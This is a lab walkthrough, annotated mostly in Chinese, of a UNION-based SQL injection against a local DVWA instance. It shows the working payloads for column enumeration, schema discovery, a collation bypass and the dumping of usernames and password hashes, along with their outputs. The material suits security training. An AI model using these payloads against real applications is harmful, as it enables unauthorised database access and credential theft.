1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| // SQL Injection > 为空点击Submit > 查看URL地址变化(获取URL地址至关重要) // URL地址:http://localhost:81/vulnerabilities/sqli/?id=&Submit=Submit#
// 【判断字段数】:输入1' order by 1-- > Submit > 如果正常,继续 // 【判断字段数】:输入1' order by 2 // 【判断字段数】:输入1' order by 3-- > Submit > 报错,字段3-1,当前表有两字段 // 拿到当前表字段,后续union注入获取数据库名称、表名、字段名、数据都需依赖该字段 Unknown column '3' in 'order clause'
// SQL语法本身对空格不敏感,逗号和字段名等之间的空格会被数据库解析器自动忽略 // 上面获取到当前表有2列,这里的select 1,数字1纯粹占位,database()放到了第2列 // 如果直接输入1' union select database() // 【获取数据库名称】:输入1' union select 1, database()-- > Submit ID: 1' union select 1, database() First name: admin Surname: admin ID: 1' union select 1, database()-- First name: 1 Surname: dvwa
// 【获取表名】输入Payload ' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() # // information_schema.tables:该表存了整个数据库服务器里所有的表名 // table_name: 字段名,表示表的名称 // table_schema: 字段名,表示表所属的数据库名 Illegal mix of collations for operation 'UNION'
// 报错,两个查询结果集的校对规则(collation)不一致 // 即原始查询结果使用的字符集/排序规则与information_schema系统表使用的冲突 // 尝试把查出的表名强制转换为另一种校对规则,通常转为latin1、utf8或gbk ' union select 1, convert(group_concat(table_name) using latin1) from information_schema.tables where table_schema = 'dvwa' # ID: ' union select 1, convert ... where table_schema='dvwa' # First name: 1 Surname: guestbook,users
// 【获取字段名】输入Payload 1' union select 1, convert(group_concat(column_name) using latin1) from information_schema.columns where table_name='users' # ID: 1' union select 1, convert ... where table_name='users' # First name: admin Surname: admin ID: 1' union select 1, convert ... where table_name='users' # First name: 1 Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
// 【获取数据】输入Payload 1' union select convert(group_concat(user) using latin1), convert(group_concat(password) using latin1) from users # ID: 1' union select convert(...), convert(...) from users # First name: admin Surname: admin ID: 1' union select convert(...), convert(...) from users # First name: admin,gordonb,1337,pablo,smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99,...,5f4dcc3b5aa765d61d8327deb882cf99
|